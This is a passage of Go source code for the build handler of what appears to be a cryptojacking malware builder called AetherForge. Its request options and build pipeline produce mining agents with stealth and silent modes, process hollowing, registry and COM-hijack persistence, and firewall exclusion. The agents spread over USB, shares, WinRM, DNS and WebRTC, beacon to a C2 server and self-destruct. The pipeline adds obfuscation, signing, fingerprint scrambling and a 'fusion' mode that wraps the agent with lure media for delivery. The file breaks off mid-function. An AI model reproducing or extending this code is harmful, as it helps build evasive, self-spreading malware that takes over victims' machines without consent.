package builder import ( "context" "encoding/json" "fmt" "io" "log" "mime/multipart" "net/http" "os" "os/exec" "path/filepath" "strings" "sync" "time" "crypto-miner-server/internal/alerts" "crypto-miner-server/internal/db" "crypto-miner-server/internal/models" "github.com/go-chi/chi/v5" "github.com/google/uuid" ) type BuildRequest struct { WorkerName string `json:"worker_name"` ServerURL string `json:"server_url"` BackupServerURLs []string `json:"backup_server_urls"` Wallet string `json:"wallet"` OutputDir string `json:"output_dir"` Threads int `json:"threads"` ThreadMode string `json:"thread_mode"` ThreadPercent int `json:"thread_percent"` CPUPriority string `json:"cpu_priority"` MiningMode string `json:"mining_mode"` MinerExecution string `json:"miner_execution"` DisplayMode string `json:"display_mode"` SilentMode bool `json:"silent_mode"` RunAs string `json:"run_as"` HostBinaryTarget string `json:"host_binary_target"` AutoStart bool `json:"auto_start"` AutostartMode string `json:"autostart_mode"` RegistryPersistence string `json:"registry_persistence"` RegistryRunHKCU bool `json:"registry_run_hkcu"` RegistryRunHKLM bool `json:"registry_run_hklm"` RegistryRunOnce bool `json:"registry_run_once"` RegistryExplorerRun bool `json:"registry_explorer_run"` Persistence bool `json:"persistence"` ProcessName string `json:"process_name"` MaxCPUUsagePct int `json:"max_cpu_usage_pct"` MaxMemoryPct int `json:"max_memory_percent"` MinFreeRAMMB int `json:"min_free_ram_mb"` IdleThresholdPct int `json:"idle_threshold_pct"` IdleDurationMinutes int `json:"idle_duration_minutes"` ScheduleStart string `json:"schedule_start"` ScheduleEnd string `json:"schedule_end"` InstallBase string `json:"install_base"` InstallCustomBase string `json:"install_custom_base"` InstallRelativePath string `json:"install_relative_path"` AdaptToHardware bool `json:"adapt_to_hardware"` SelfHealing bool `json:"self_healing"` FileLogging bool `json:"file_logging"` StealthMode bool `json:"stealth_mode"` FirewallExclusion bool `json:"firewall_exclusion"` PoolHost string `json:"pool_host"` PoolPort int `json:"pool_port"` PoolTLS bool `json:"pool_tls"` PoolPass string `json:"pool_pass"` FusionEnabled bool `json:"fusion_enabled"` FusionRunOrder string `json:"fusion_run_order"` FusionOutputName string `json:"fusion_output_name"` FusionPayloadKind string `json:"fusion_payload_kind"` FusionMediaMode string `json:"fusion_media_mode"` FusionMediaBaseName string `json:"fusion_media_base_name"` FusionExportSubdir string `json:"fusion_export_subdir"` // AI Autonomy (Ollama) AIEnabled bool `json:"ai_enabled"` AIOllamaEndpoint string `json:"ai_ollama_endpoint"` AIModel string `json:"ai_model"` ProcessHollowing bool `json:"process_hollowing"` MeshP2P bool `json:"mesh_p2p"` AutoSpread bool `json:"auto_spread"` HolePunch bool `json:"hole_punch"` RemoteAggressive bool `json:"remote_aggressive"` USBSpread bool `json:"usb_spread"` ShareSpread bool `json:"share_spread"` WinRMSpread bool `json:"winrm_spread"` DnsTxtSpread bool `json:"dns_txt_spread"` WebRTCMeshSpread bool `json:"webrtc_mesh_spread"` WSUSCachePeerSpread bool `json:"wsus_cache_peer_spread"` WSUSFormatMimic bool `json:"wsus_format_mimic"` COMHijackPersist bool `json:"com_hijack_persist"` LinuxLOTLMode string `json:"linux_lotl_mode"` TargetOS string `json:"target_os"` TargetArch string `json:"target_arch"` SpreadKit bool `json:"spread_kit"` Obfuscate bool `json:"obfuscate"` SigilScramble bool `json:"sigil_scramble"` SignBuild bool `json:"sign_build"` BackupPools []BackupPool `json:"backup_pools"` // CancelToken is a client-generated UUID. Pass the same token to // DELETE /api/v1/builder/cancel/{token} to abort this build mid-compile. CancelToken string `json:"cancel_token,omitempty"` // GPU / Ravencoin mining GPUEnabled bool `json:"gpu_enabled"` RVNWallet string `json:"rvn_wallet"` RVNPoolHost string `json:"rvn_pool_host"` RVNPoolPort int `json:"rvn_pool_port"` RVNPoolTLS bool `json:"rvn_pool_tls"` RVNPoolPass string `json:"rvn_pool_pass"` RVNBackupPools []BackupPool `json:"rvn_backup_pools"` // Connection profile — C2 beacon timing and agent self-destruct BeaconIntervalSec int `json:"beacon_interval_sec"` BeaconJitterPct int `json:"beacon_jitter_pct"` AgentKillAfterDays int `json:"agent_kill_after_days"` HTTPSBeaconFallback bool `json:"https_beacon_fallback"` HTTPSBeaconAfterMin int `json:"https_beacon_after_min"` // LOTL Onion — native-tool spread tier chain (AV-Safe adjacent preset). LotlOnionEnabled bool `json:"lotl_onion_enabled"` LotlPolicyFromServer bool `json:"lotl_policy_from_server"` LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"` // APK mode — Android fleet node (mining off by default). ApkMode bool `json:"apk_mode"` ScoutMode bool `json:"scout_mode"` ApkAgentName string `json:"apk_agent_name"` MiningDisabled bool `json:"mining_disabled"` // Spread genealogy watermark — informational telemetry baked into agent config. ParentAgentID string `json:"parent_agent_id"` SpreadGeneration int `json:"spread_generation"` JoinLane string `json:"join_lane"` // used to derive spread_strain color at bake time // Fleet role split — seeder serves LAN staging only; miner hashes RandomX. FleetRole string `json:"fleet_role,omitempty"` // miner | seeder | auto SeederMode bool `json:"seeder_mode,omitempty"` } // BackupPool is a fallback Stratum pool tried if the primary pool is unreachable. type BackupPool struct { Host string `json:"host"` Port int `json:"port"` TLS bool `json:"tls"` Pass string `json:"pass"` } type BuildResponse struct { Success bool `json:"success"` BuildID string `json:"build_id,omitempty"` FileName string `json:"file_name,omitempty"` FilePath string `json:"file_path,omitempty"` RelativePath string `json:"relative_path,omitempty"` FileSize int64 `json:"file_size,omitempty"` DownloadURL string `json:"download_url,omitempty"` UninstallFileName string `json:"uninstall_file_name,omitempty"` UninstallPath string `json:"uninstall_path,omitempty"` UninstallDownloadURL string `json:"uninstall_download_url,omitempty"` ExportPath string `json:"export_path,omitempty"` UninstallExportPath string `json:"uninstall_export_path,omitempty"` FusionEnabled bool `json:"fusion_enabled,omitempty"` FusionExportDir string `json:"fusion_export_dir,omitempty"` ExtraFiles []BuildArtifactFile `json:"extra_files,omitempty"` BundleFileName string `json:"bundle_file_name,omitempty"` BundleDownloadURL string `json:"bundle_download_url,omitempty"` BundleSize int64 `json:"bundle_size,omitempty"` WorkerFile string `json:"worker_file,omitempty"` Signed bool `json:"signed,omitempty"` Obfuscated bool `json:"obfuscated,omitempty"` SigilScramble bool `json:"sigil_scramble,omitempty"` BinaryFingerprint string `json:"binary_fingerprint,omitempty"` StealthScore int `json:"stealth_score,omitempty"` ArtifactPath string `json:"artifact_path,omitempty"` Error string `json:"error,omitempty"` } type BuildArtifactFile struct { FileName string `json:"file_name"` FilePath string `json:"file_path,omitempty"` } // BuildProgress is returned by GET /builder/progress/{token} while a forge is running. type BuildProgress struct { Stage string `json:"stage"` Pct int `json:"pct"` } func buildExtraFilesFromArtifacts(arts []BuildArtifactFile) []models.BuildExtraFile { if len(arts) == 0 { return nil } out := make([]models.BuildExtraFile, len(arts)) for i, a := range arts { out[i] = models.BuildExtraFile{FileName: a.FileName, FilePath: a.FilePath} } return out } type Handler struct { db *db.Database dataDir string agentSrcDir string projectRoot string goBinPath string garblePath string goWinresPath string serverModDir string policy BuildPolicy fleetSecret string // injected from server config; baked into every forge output eventNotifier *alerts.Notifier // Active build cancellation — maps cancel_token → cancel func so the frontend // can abort an in-progress compile via DELETE /api/v1/builder/cancel/{token}. activeCancelsMu sync.Mutex activeCancels map[string]context.CancelFunc // Real-time build progress — maps cancel_token → current stage so the frontend // can poll GET /api/v1/builder/progress/{token} instead of running a fake timer. activeProgressMu sync.RWMutex activeProgress map[string]BuildProgress // apkBuildFn overrides APK packaging (tests inject a mock gradle/script). apkBuildFn ApkBuildFunc } // SetFleetSecret stores the fleet secret so it is baked into every forged binary. func (h *Handler) SetFleetSecret(secret string) { h.fleetSecret = secret } func (h *Handler) SetEventNotifier(n *alerts.Notifier) { h.eventNotifier = n } func (h *Handler) notifyBuildComplete(fileName, workerName string, sizeBytes int64) { if h.eventNotifier == nil { return } sizeMB := float64(sizeBytes) / 1024 / 1024 h.eventNotifier.Emit(alerts.EventBuildComplete, "AetherForge forge", fmt.Sprintf("%s ready (%.1f MB) — %s", fileName, sizeMB, workerName)) } // CancelBuild cancels an in-progress build identified by cancelToken. // Returns true if the token was found and cancelled, false if unknown. func (h *Handler) CancelBuild(cancelToken string) bool { h.activeCancelsMu.Lock() cancel, ok := h.activeCancels[cancelToken] h.activeCancelsMu.Unlock() if ok { cancel() } return ok } func (h *Handler) registerCancel(token string, cancel context.CancelFunc) { h.activeCancelsMu.Lock() if h.activeCancels == nil { h.activeCancels = make(map[string]context.CancelFunc) } h.activeCancels[token] = cancel h.activeCancelsMu.Unlock() } func (h *Handler) unregisterCancel(token string) { if token == "" { return } h.activeCancelsMu.Lock() delete(h.activeCancels, token) h.activeCancelsMu.Unlock() } // setProgress records the current forge stage so the frontend can poll it. func (h *Handler) setProgress(token, stage string, pct int) { if token == "" { return } h.activeProgressMu.Lock() if h.activeProgress == nil { h.activeProgress = make(map[string]BuildProgress) } h.activeProgress[token] = BuildProgress{Stage: stage, Pct: pct} h.activeProgressMu.Unlock() } func (h *Handler) clearProgress(token string) { if token == "" { return } h.activeProgressMu.Lock() delete(h.activeProgress, token) h.activeProgressMu.Unlock() } // ServeProgress returns the current build stage for a running forge identified by its cancel token. // The frontend polls this every second to drive a real progress bar instead of a client-side simulation. func (h *Handler) ServeProgress(w http.ResponseWriter, r *http.Request) { token := chi.URLParam(r, "token") if token == "" { http.Error(w, "token required", http.StatusBadRequest) return } h.activeProgressMu.RLock() prog, ok := h.activeProgress[token] h.activeProgressMu.RUnlock() if !ok { writeJSON(w, http.StatusNotFound, BuildProgress{Stage: "", Pct: 0}) return } writeJSON(w, http.StatusOK, prog) } type SignPolicy struct { Enabled bool `json:"enabled"` CertThumbprint string `json:"cert_thumbprint"` ToolPath string `json:"tool_path"` TimestampURL string `json:"timestamp_url"` } type BuildPolicy struct { StrictWalletValidation bool MaxBuildSizeMB int DefaultObfuscate bool Sign SignPolicy } func (h *Handler) SetBuildPolicy(p BuildPolicy) { h.policy = p } // SetGoBinPath overrides the go toolchain binary used for forge compiles. func (h *Handler) SetGoBinPath(path string) { if strings.TrimSpace(path) != "" { h.goBinPath = path } } func NewHandler(database *db.Database, dataDir string, agentSrcDir string, projectRoot string) *Handler { goBin := "go" if _, err := exec.LookPath("go"); err == nil { goBin = "go" } h := &Handler{ db: database, dataDir: dataDir, agentSrcDir: agentSrcDir, projectRoot: projectRoot, goBinPath: goBin, } h.resolveToolPaths(projectRoot) return h } func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodPost { http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) return } var req BuildRequest var prepPath string var cleanupPrep func() contentType := r.Header.Get("Content-Type") if strings.HasPrefix(contentType, "multipart/form-data") { if err := r.ParseMultipartForm(multipartMaxMemory); err != nil { writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid multipart form"}) return } configJSON := r.FormValue("config") if configJSON == "" { writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Missing config field"}) return } if err := json.Unmarshal([]byte(configJSON), &req); err != nil { writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid config JSON"}) return } file, header, err := r.FormFile("prep_exe") if req.FusionEnabled { if err != nil { writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion requires prep_exe file upload"}) return } defer file.Close() if req.FusionMediaBaseName == "" && header.Filename != "" { req.FusionMediaBaseName = header.Filename } if req.FusionOutputName == "" && header.Filename != "" { req.FusionOutputName = header.Filename } if req.FusionPayloadKind == "" { req.FusionPayloadKind = detectFusionPayloadKind(header.Filename) } saved, remove, err := h.saveUploadedFusionPayload(file, header) if err != nil { writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()}) return } prepPath = saved cleanupPrep = remove } else if err == nil { file.Close() } } else { r.Body = http.MaxBytesReader(w, r.Body, 512<<10) // 512 KiB max for JSON-only builds if err := json.NewDecoder(r.Body).Decode(&req); err != nil { writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid request body"}) return } } if cleanupPrep != nil { defer cleanupPrep() } if err := h.normalizeRequest(&req); err != nil { writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()}) return } if req.FusionEnabled && prepPath == "" { writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion enabled but no payload file uploaded"}) return } // Register cancel token so the frontend can abort this compile mid-flight. // The ctx is threaded all the way down to exec.CommandContext, so cancellation // immediately sends SIGKILL to the running go/garble process. ctx := r.Context() if req.CancelToken != "" { var cancelFn context.CancelFunc ctx, cancelFn = context.WithCancel(ctx) h.registerCancel(req.CancelToken, cancelFn) defer h.unregisterCancel(req.CancelToken) defer h.clearProgress(req.CancelToken) } // FusionOutputName will be derived from the payload filename if not set resp, status, outputPath := h.buildAgent(ctx, &req, prepPath) if !resp.Success { writeJSON(w, status, resp) return } if h.db != nil { user := "" if u, _, ok := r.BasicAuth(); ok { user = u } _ = h.db.InsertAudit(user, "forge_build", "", map[string]string{ "build_id": resp.BuildID, "worker_name": req.WorkerName, "file_name": resp.FileName, }) } if r.URL.Query().Get("download") == "1" { w.Header().Set("Content-Type", "application/octet-stream") w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, resp.FileName)) http.ServeFile(w, r, outputPath) return } writeJSON(w, http.StatusOK, resp) } func (h *Handler) ServeEstimate(w http.ResponseWriter, r *http.Request) { if r.Method != http.MethodPost { http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) return } var req BuildRequest var prepPath string var prepSize int64 var prepName string var cleanupPrep func() contentType := r.Header.Get("Content-Type") if strings.HasPrefix(contentType, "multipart/form-data") { if err := r.ParseMultipartForm(multipartMaxMemory); err != nil { writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid multipart form"}) return } configJSON := r.FormValue("config") if configJSON == "" { writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Missing config field"}) return } if err := json.Unmarshal([]byte(configJSON), &req); err != nil { writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Invalid config JSON"}) return } file, header, err := r.FormFile("prep_exe") if err != nil { writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion estimate requires prep_exe upload"}) return } defer file.Close() if header != nil { prepSize = header.Size prepName = header.Filename } if req.FusionPayloadKind == "" { req.FusionPayloadKind = detectFusionPayloadKind(header.Filename) } saved, remove, err := h.saveUploadedFusionPayload(file, header) if err != nil { writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()}) return } prepPath = saved cleanupPrep = remove } else { writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion estimate requires multipart prep_exe upload"}) return } if cleanupPrep != nil { defer cleanupPrep() } if err := h.normalizeRequest(&req); err != nil { writeJSON(w, http.StatusBadRequest, map[string]string{"error": err.Error()}) return } if !req.FusionEnabled { writeJSON(w, http.StatusBadRequest, map[string]string{"error": "Fusion must be enabled for estimate"}) return } if req.FusionOutputName == "" && prepName != "" { req.FusionOutputName = prepName } est := h.estimateFusionBuild(&req, prepPath, prepSize, prepName) writeJSON(w, http.StatusOK, est) } func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) { buildID := chi.URLParam(r, "id") build, err := h.db.GetBuild(buildID) if err != nil { http.Error(w, "Build not found", http.StatusNotFound) return } if _, err := os.Stat(build.FilePath); err != nil { http.Error(w, "Build file missing", http.StatusNotFound) return } w.Header().Set("Content-Type", "application/octet-stream") dlName := strings.TrimSpace(build.FileName) if dlName == "" { dlName = filepath.Base(build.FilePath) } w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, dlName)) http.ServeFile(w, r, build.FilePath) } func (h *Handler) DownloadBuildArtifact(w http.ResponseWriter, r *http.Request) { buildID := chi.URLParam(r, "id") if _, err := h.db.GetBuild(buildID); err != nil { http.Error(w, "Build not found", http.StatusNotFound) return } name := sanitizeFileName(chi.URLParam(r, "name")) if name == "" || strings.Contains(name, "..") { http.Error(w, "Invalid artifact name", http.StatusBadRequest) return } buildDir := filepath.Join(h.dataDir, "builds", buildID) path, err := safePathUnderRoot(buildDir, name) if err != nil { if title := strings.TrimSpace(r.URL.Query().Get("export_dir")); title != "" { title = sanitizeFileName(filepath.Base(title)) deliverablesRoot := filepath.Join(h.projectRoot, FusionDeliverablesDir) path, err = safePathUnderRoot(filepath.Join(deliverablesRoot, title), name) } } if err != nil { http.Error(w, "Artifact not found", http.StatusNotFound) return } if _, err := os.Stat(path); err != nil { http.Error(w, "Artifact not found", http.StatusNotFound) return } w.Header().Set("Content-Type", "application/octet-stream") w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, name)) http.ServeFile(w, r, path) } func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) { buildID := chi.URLParam(r, "id") build, err := h.db.GetBuild(buildID) if err != nil { http.Error(w, "Build not found", http.StatusNotFound) return } // Uninstall script lives in buildDir (builds//), NOT in the platform // sub-directory where the binary lives (builds//windows-amd64/). // Compute directly from dataDir + buildID to avoid path-stripping mistakes. buildDir := filepath.Join(h.dataDir, "builds", buildID) uninstallPath := filepath.Join(buildDir, fmt.Sprintf("uninstall-%s.ps1", sanitizeFileName(build.WorkerName))) if _, err := os.Stat(uninstallPath); err != nil { http.Error(w, "Uninstall script missing", http.StatusNotFound) return } w.Header().Set("Content-Type", "application/octet-stream") w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, filepath.Base(uninstallPath))) http.ServeFile(w, r, uninstallPath) } func applyFleetRoleBakeDefaults(req *BuildRequest) { role := normalizeForgeFleetRole(req) if role != "seeder" && !req.SeederMode { return } req.FleetRole = "seeder" req.SeederMode = true req.MiningDisabled = true req.MinerExecution = "inprocess" req.GPUEnabled = false req.DnsTxtSpread = true req.WebRTCMeshSpread = true req.WinRMSpread = false req.WSUSCachePeerSpread = false req.AutoSpread = true req.LotlOnionEnabled = true if len(req.LotlOnionTiers) == 0 { req.LotlOnionTiers = []string{"dns_txt", "webrtc_mesh", "do_peer"} } else { var filtered []string for _, t := range req.LotlOnionTiers { switch strings.ToLower(strings.TrimSpace(t)) { case "dns_txt", "webrtc_mesh", "do_peer": filtered = append(filtered, t) } } if len(filtered) > 0 { req.LotlOnionTiers = filtered } } } func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath string) (BuildResponse, int, string) { applyFleetRoleBakeDefaults(req) if req.ApkMode { return h.buildAPKAgent(ctx, req) } if strings.ToLower(strings.TrimSpace(req.TargetOS)) == "universal" { return h.buildUniversalAgent(ctx, req, prepPath) } buildID := uuid.New().String() buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID)) agentDir := filepath.Join(buildDir, "agent") // cleanupBuild removes the build directory on any error path to avoid // accumulating partial builds (which may contain uploaded payloads or // a copy of the agent source tree). cleanupBuild := func() { _ = os.RemoveAll(buildDir) } if err := os.MkdirAll(agentDir, 0755); err != nil { return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, "" } h.setProgress(req.CancelToken, "Copying source files", 5) if err := h.copyAgentSource(agentDir); err != nil { cleanupBuild() log.Printf("Failed to copy agent source: %v", err) return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, "" } h.setProgress(req.CancelToken, "Configuring build", 14) configDir := filepath.Join(agentDir, "config") if err := os.MkdirAll(configDir, 0755); err != nil { cleanupBuild() return BuildResponse{Success: false, Error: "Failed to create config directory"}, http.StatusInternalServerError, "" } platforms := platformsForRequest(req) p := platforms[0] h.setProgress(req.CancelToken, "Compiling agent", 20) outputPath, err := h.compileWorker(ctx, agentDir, buildDir, req, buildID, p, req.FusionEnabled) if err != nil { cleanupBuild() log.Printf("Build failed: %v", err) return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" } h.setProgress(req.CancelToken, "Compiled — linking output", 72) obfuscated := h.shouldObfuscate(req) && h.garblePath != "" workerName := filepath.Base(outputPath) finalPath := outputPath finalName := workerName var fusionEnabled bool h.setProgress(req.CancelToken, "Writing scripts", 76) uninstallName, uninstallPath, err := h.writeUninstallScript(buildDir, buildID, req) if err != nil { cleanupBuild() return BuildResponse{Success: false, Error: "Failed to write uninstall script: " + err.Error()}, http.StatusInternalServerError, "" } var extraArtifacts []BuildArtifactFile var fusionRes *fusionBuildResult if req.FusionEnabled { if req.FusionPayloadKind == "" { req.FusionPayloadKind = detectFusionPayloadKind(prepPath) } h.setProgress(req.CancelToken, "Building fusion bundle", 80) var err error fusionRes, err = h.buildFusionFromRequest(ctx, buildDir, prepPath, outputPath, req) if err != nil { cleanupBuild() return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" } h.setProgress(req.CancelToken, "Fusion bundle ready", 88) finalPath = fusionRes.LauncherPath finalName = filepath.Base(finalPath) fusionEnabled = true if fusionRes.EncryptedPath != "" { extraArtifacts = append(extraArtifacts, BuildArtifactFile{ FileName: filepath.Base(fusionRes.EncryptedPath), FilePath: fusionRes.EncryptedPath, }) } if fusionRes.ShortcutPath != "" { extraArtifacts = append(extraArtifacts, BuildArtifactFile{ FileName: filepath.Base(fusionRes.ShortcutPath), FilePath: fusionRes.ShortcutPath, }) } } var fusionExportDir string var bundleFileName string var bundleDownloadURL string var bundleSize int64 exportPath := "" if fusionEnabled { exportLabel := req.FusionMediaBaseName if exportLabel == "" { exportLabel = filepath.Base(prepPath) } arts := map[string]string{finalName: finalPath} for _, ex := range extraArtifacts { arts[ex.FileName] = ex.FilePath } // In paired mode the runner looks for the payload file next to (or above) the binary. // Include it in the deliverable so the ZIP is self-contained without needing the // user to place the file themselves. if normalizeFusionMediaMode(req.FusionMediaMode) == "paired" && prepPath != "" { arts[sanitizeFileName(filepath.Base(prepPath))] = prepPath } subdir := fusionExportSubdir(req, exportLabel) readme := fusionReadmeInfo{ Title: strings.TrimSuffix(filepath.Base(exportLabel), filepath.Ext(exportLabel)), RunnerName: finalName, MediaName: filepath.Base(exportLabel), PayloadKind: req.FusionPayloadKind, MediaMode: req.FusionMediaMode, } if readme.Title == "" { readme.Title = sanitizeFileName(req.WorkerName) } dir, err := h.publishFusionDeliverable(subdir, arts, readme) if err != nil { return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" } fusionExportDir = dir exportPath = filepath.Join(dir, finalName) extraArtifacts = append(extraArtifacts, BuildArtifactFile{ FileName: "README.txt", FilePath: filepath.Join(dir, "README.txt"), }) for i := range extraArtifacts { if extraArtifacts[i].FileName != "README.txt" { extraArtifacts[i].FilePath = filepath.Join(dir, extraArtifacts[i].FileName) } } bundleFileName = fusionBundleZipName(subdir) bundleBuildPath := filepath.Join(buildDir, bundleFileName) if err := zipDirectory(dir, bundleBuildPath); err != nil { return BuildResponse{Success: false, Error: "Failed to create package zip: " + err.Error()}, http.StatusInternalServerError, "" } _ = copyFile(bundleBuildPath, filepath.Join(dir, bundleFileName)) if st, err := os.Stat(bundleBuildPath); err == nil { bundleSize = st.Size() } bundleDownloadURL = fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, bundleFileName) } else { h.setProgress(req.CancelToken, "Publishing build", 91) var err error exportPath, err = h.publishRootExecutable(finalPath, finalName) if err != nil { return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, "" } } if exportPath == "" { exportPath, _ = filepath.Abs(finalPath) } if strings.TrimSpace(req.OutputDir) != "" { if ep, eu, err := h.exportBuildArtifacts(finalPath, finalName, uninstallPath, uninstallName, req.OutputDir); err != nil { log.Printf("[Builder] secondary export: %v", err) } else { _ = eu if exportPath == "" { exportPath = ep } } } signed := false if h.shouldSignBuild(req) { h.setProgress(req.CancelToken, "Signing binary", 95) if err := h.signExecutable(finalPath); err != nil { return BuildResponse{Success: false, Error: "Build succeeded but signing failed: " + err.Error()}, http.StatusInternalServerError, "" } signed = true if exportPath != "" && exportPath != finalPath { _ = h.signExecutable(exportPath) } } scrambled := false fingerprint := "" if shouldSigilScramble(req) { h.setProgress(req.CancelToken, "Scrambling sigil", 97) fp, err := ApplySigilScramble(finalPath, buildID) if err != nil { log.Printf("[Forge] sigil scramble: %v", err) } else { scrambled = true fingerprint = fp if exportPath != "" && exportPath != finalPath { if fp2, err := ApplySigilScramble(exportPath, buildID+"-export"); err == nil { _ = fp2 } } } } fileInfo, err := os.Stat(finalPath) if err != nil { return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, "" } if err := h.checkBuildSize(fileInfo.Size()); err != nil { _ = os.RemoveAll(buildDir) return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, "" } absPath, _ := filepath.Abs(finalPath) relPath, _ := filepath.Rel(h.projectRoot, absPath) if relPath == "" || strings.HasPrefix(relPath, "..") { relPath = filepath.Join(h.dataDir, "builds", buildID, finalName) } // Normalise platform tag for easy lookup by /get endpoint recordPlatform := strings.ToLower(strings.TrimSpace(req.TargetOS)) if recordPlatform == "" { recordPlatform = "windows" } dlURL := fmt.Sprintf("/api/v1/builds/%s/download", buildID) if bundleDownloadURL != "" { dlURL = bundleDownloadURL } buildRecord := &models.BuildRecord{ ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet, Threads: req.Threads, FileSize: fileInfo.Size(), BundleSize: bundleSize, FilePath: absPath, FileName: finalName, DownloadURL: dlURL, ExtraFiles: buildExtraFilesFromArtifacts(extraArtifacts), Platform: recordPlatform, CreatedAt: time.Now(), PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass, } h.setProgress(req.CancelToken, "Saving to database", 99) if err := h.db.InsertBuild(buildRecord); err != nil { log.Printf("Failed to record build: %v", err) return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, "" } h.notifyBuildComplete(finalName, req.WorkerName, fileInfo.Size()) resp := BuildResponse{ Success: true, BuildID: buildID, FileName: finalName, FilePath: absPath, RelativePath: relPath, FileSize: fileInfo.Size(), DownloadURL: fmt.Sprintf("/api/v1/builds/%s/download", buildID), UninstallFileName: uninstallName, UninstallPath: uninstallPath, UninstallDownloadURL: fmt.Sprintf("/api/v1/builds/%s/uninstall", buildID), ExportPath: exportPath, UninstallExportPath: "", FusionEnabled: fusionEnabled, FusionExportDir: fusionExportDir, ExtraFiles: extraArtifacts, BundleFileName: bundleFileName, BundleDownloadURL: bundleDownloadURL, BundleSize: bundleSize, WorkerFile: workerName, Signed: signed, Obfuscated: obfuscated, SigilScramble: scrambled, BinaryFingerprint: fingerprint, StealthScore: StealthScore(obfuscated, scrambled, signed), } if fusionEnabled && bundleDownloadURL != "" { resp.DownloadURL = bundleDownloadURL resp.FileName = bundleFileName if bundleSize > 0 { resp.FileSize = bundleSize } } return resp, http.StatusOK, finalPath } // publishRootExecutable writes the forged installer as a single file in the project root. func (h *Handler) publishRootExecutable(finalPath, finalName string) (string, error) { if h.projectRoot == "" || h.projectRoot == "." { abs, _ := filepath.Abs(finalPath) return abs, nil } dest := filepath.Join(h.projectRoot, filepath.Base(finalName)) if err := copyFile(finalPath, dest); err != nil { return "", fmt.Errorf("failed to write %s to project root: %w", filepath.Base(finalName), err) } log.Printf("[Builder] Forge output -> %s", dest) return dest, nil } // exportBuildArtifacts copies the forged exe + uninstall script to an optional subfolder (e.g. exports). func (h *Handler) exportBuildArtifacts(finalPath, finalName, uninstallPath, uninstallName, outputDir string) (string, string, error) { clean := strings.TrimSpace(outputDir) if clean == "" { return "", "", nil } clean = filepath.Clean(clean) if clean == "." || strings.HasPrefix(clean, "..") || filepath.IsAbs(clean) { return "", "", fmt.Errorf("invalid output_dir (use a simple folder name like exports)") } exportDir := "" if h.projectRoot != "" { exportDir = filepath.Join(h.projectRoot, clean) } else { exportDir = filepath.Join(h.dataDir, clean) } if err := os.MkdirAll(exportDir, 0755); err != nil { return "", "", fmt.Errorf("failed to create export folder: %w", err) } exportExe := filepath.Join(exportDir, finalName) if err := copyFile(finalPath, exportExe); err != nil { return "", "", fmt.Errorf("failed to export build: %w", err) } exportUninstall := filepath.Join(exportDir, uninstallName) _ = copyFile(uninstallPath, exportUninstall) log.Printf("[Builder] Exported %s -> %s", finalName, exportExe) return exportExe, exportUninstall, nil } func (h *Handler) normalizeRequest(req *BuildRequest) error { if req.WorkerName == "" { return fmt.Errorf("worker_name is required") } if req.ServerURL == "" { return fmt.Errorf("server_url is required") } if req.ApkMode { ApplyApkBuildPreset(req) } if !req.ApkMode && req.Wallet == "" { return fmt.Errorf("wallet is required") } if !req.ApkMode && h.policy.StrictWalletValidation && !looksLikeXMRWallet(req.Wallet) { return fmt.Errorf("wallet must be a valid Monero mainnet address (starts with 4, 90–106 chars)") } req.OutputDir = strings.TrimSpace(req.OutputDir) if req.OutputDir != "" { // must be relative to data_dir; no drive letters, no absolute paths, no traversal clean := filepath.Clean(req.OutputDir) if clean == "." || strings.HasPrefix(clean, "..") || filepath.IsAbs(clean) || strings.Contains(clean, ":") { return fmt.Errorf("output_dir must be a relative folder under data_dir") } req.OutputDir = clean } // Cap slice lengths to prevent huge generated source files. const maxBackupPools = 10 if len(req.BackupServerURLs) > maxBackupPools { req.BackupServerURLs = req.BackupServerURLs[:maxBackupPools] } if len(req.BackupPools) > maxBackupPools { req.BackupPools = req.BackupPools[:maxBackupPools] } if len(req.RVNBackupPools) > maxBackupPools { req.RVNBackupPools = req.RVNBackupPools[:maxBackupPools] } if req.Threads <= 0 { req.Threads = 4 } if req.ThreadMode == "" { req.ThreadMode = "percent" } if req.ThreadPercent <= 0 { req.ThreadPercent = 75 } if req.ThreadPercent > 100 { req.ThreadPercent = 100 } if req.DisplayMode == "" { if req.SilentMode { req.DisplayMode = 